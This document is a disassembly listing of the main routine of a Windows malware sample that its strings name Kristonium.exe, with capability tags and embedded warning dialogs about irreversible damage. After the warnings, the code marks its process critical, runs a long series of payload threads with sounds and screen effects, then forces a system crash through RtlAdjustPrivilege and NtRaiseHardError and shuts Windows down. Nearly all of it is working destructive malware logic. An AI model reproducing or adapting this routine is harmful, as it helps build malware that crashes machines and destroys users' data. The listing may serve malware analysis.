Function at 0x405ef0
Capabilities:
Create thread
Shutdown system
Terminate process
Terminate thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x24
mov eax, dword [0x40a004]
xor eax, esp
mov dword [esp + 0x20], eax
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_MessageBoxW]
push edi
push 0x34
push str.Follow_me_to_Kristonium_your_machine
push str.Youre_about_to_run_a_malware_called_Kristonium.exe_by_KHVirusser_and_N17Pro3426__specifically_made_to_be_showcased_on_the_partion_cybersecurity_YouTube_channel_on_a_virtual_machine_for_the_purposes_of_entertainment_and_education._This_malware_creates_a_loud_sounds_and_flashing_lights__Executing_malware_will_have_irreversible_destructive_consequences_on_the_data_of_this_unusable_machine._KHVirusser_and_N17Pro3426_are_not_responsible_for_any_damage_and_unwanted_data_loss._Choose_Yes_if_you_have_an_understanding_this_and_agree_to_these_terms._Choosing_also_clicking_No_nothing_will_happen._r_nYou_have_been_warned.
push 0
call esi
cmp eax, 7
jne 0x405f2a
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x34
push str.FINAL_WARNING
push str.THIS_IS_THE_LAST_WARNING__r_nAre_you_sure_to_continue__If_you_have_read_the_previous_message_and_have_been_infomed_of_the_destructive_consequences_of_this_malware__KHVirusser_and_N17Pro3426_are_not_responsible_for_any_damage__Dont_run_this_destructive_version_on_real_PC__VM_only_._Choose_Yes_to_start_destroying_this_unusable_machine._Choose_No_otherwise.
push 0
call esi
cmp eax, 7
jne 0x405f47
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x405f75
call fcn.00401360
push str.RtlSetProcessIsCritical
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x405f75
push 0
push 0
push 1
call eax
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x4012e0
push 0
push 0
call edi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x3e8
call esi
push 0
push 0
push 0
push 0x401410
push 0
push 0
call edi
push 0x1388
mov ebx, eax
call esi
push 0
push 0
push 0
push 0x401810
push 0
push 0
call edi
push 0
push 0
push 0
push 0x4017a0
push 0
push 0
mov esi, eax
call edi
call fcn.00404130
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call edi
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_InvalidateRect]
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x401950
push 0
push 0
call eax
mov esi, eax
call fcn.00404280
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call edi
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_InvalidateRect]
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x401b50
push 0
push 0
call edi
push 0
mov esi, eax
push 0
push 0
push 0x401d10
push 0
push 0
call edi
mov edi, eax
call fcn.00404420
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_InvalidateRect]
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x401e10
push 0
push 0
call eax
mov esi, eax
call fcn.00404590
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_InvalidateRect]
push 0
push 0
push 0
push 0x401fd0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
call fcn.004046e0
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_InvalidateRect]
push 0
push 0
push 0
push 0x402060
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
call fcn.00404810
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_InvalidateRect]
push 0
push 0
push 0
push 0x402170
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x20001
push 0
push str.sound7.wav
mov esi, eax
call dword [sym.imp.WINMM.dll_PlaySoundW]
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call ebx
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push edi
mov edi, ebx
call edi
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_InvalidateRect]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x402280
push 0
push 0
call ebx
push 0
push 0
push 0
push 0x402600
push 0
push 0
mov esi, eax
call ebx
mov ebx, eax
call fcn.00404980
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call edi
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_InvalidateRect]
push 0
push 0
push 0
push 0x402500
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
call fcn.00404ae0
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call edi
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_InvalidateRect]
push 0
push 0
push 0
push 0x402730
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
call fcn.00404c50
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call edi
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_InvalidateRect]
push 0
push 0
push 0
push 0x402a10
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
call fcn.00404de0
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call edi
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_InvalidateRect]
push 0
push 0
push 0
push 0x402280
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
call fcn.00404f80
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call edi
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_InvalidateRect]
push 0
push 0
push 0
push 0x402c50
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x20001
push 0
push str.sound13.wav
mov esi, eax
call dword [sym.imp.WINMM.dll_PlaySoundW]
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call edi
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_InvalidateRect]
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x403d10
push 0
push 0
call edi
push 0
push 0
push 0
push 0x403f30
push 0
push 0
mov esi, eax
call edi
mov edi, eax
call fcn.004050f0
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_InvalidateRect]
push 0
push 0
push 0
push 0x402e70
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
call fcn.00405270
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_InvalidateRect]
push 0
push 0
push 0
push 0x403070
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
call fcn.00405480
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call edi
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_InvalidateRect]
push 0
push 0
push 0
push 0x4032c0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
call fcn.004055f0
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call edi
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_InvalidateRect]
push 0
push 0
push 0
push 0x403500
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
call fcn.004057a0
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call edi
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push ebx
call edi
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_InvalidateRect]
push 0
push 0
push 0
push 0x403770
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x7530
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
push esi
call ebx
push esi
call edi
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_InvalidateRect]
push 0
push 0
push 0
push 0x403950
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
call fcn.00405910
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call ebx
push esi
call edi
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_InvalidateRect]
push 0
push 0
push 0
push 0x403ad0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
call fcn.00405a80
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call ebx
push esi
call edi
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_InvalidateRect]
push 0
push 0
push 0
push 0x401fd0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x401d10
push 0
push 0
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x402060
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.00405c10
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call ebx
push esi
call edi
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_InvalidateRect]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x402170
push 0
push 0
call ebx
push 0
push 0
push 0
push 0x402600
push 0
push 0
mov esi, eax
call ebx
mov ebx, dword [sym.imp.WINMM.dll_PlaySoundW]
push 0x20001
push 0
push str.sound22.wav
call ebx
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call edi
mov esi, dword [sym.imp.USER32.dll_InvalidateRect]
push 0
push 0
push 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x401fd0
push 0
push 0
call edi
push 0x20001
push 0
push str.sound23.wav
call ebx
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7530
call ebx
push 0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x403770
push 0
push 0
call edi
call fcn.00405d70
push 0x7530
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push str.NtRaiseHardError
push str.ntdll
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.RtlAdjustPrivilege
push str.ntdll
mov edi, eax
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [esp + 0xf]
push ecx
push 0
push 1
push 0x13
call eax
lea eax, [esp + 0x18]
mov dword [esp + 0x10], str.The_end__Your_computer_is_destroyed_by_Kristonium.exe_
push eax
push 6
lea eax, [esp + 0x18]
push eax
push 0
push 1
push 0xc0000144
call edi
lea eax, [esp + 0x14]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea eax, [esp + 0x20]
push eax
push str.SeShutdownPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
push 0
push 0
mov dword [esp + 0x24], 1
lea eax, [esp + 0x24]
mov dword [esp + 0x30], 2
push 0
push eax
push 0
push dword [esp + 0x28]
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push 0x10007
push 6
call dword [sym.imp.USER32.dll_ExitWindowsEx]
push 0xffffffffffffffff
call ebx
mov ecx, dword [esp + 0x2c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00406782
mov esp, ebp
pop ebp
ret 0x10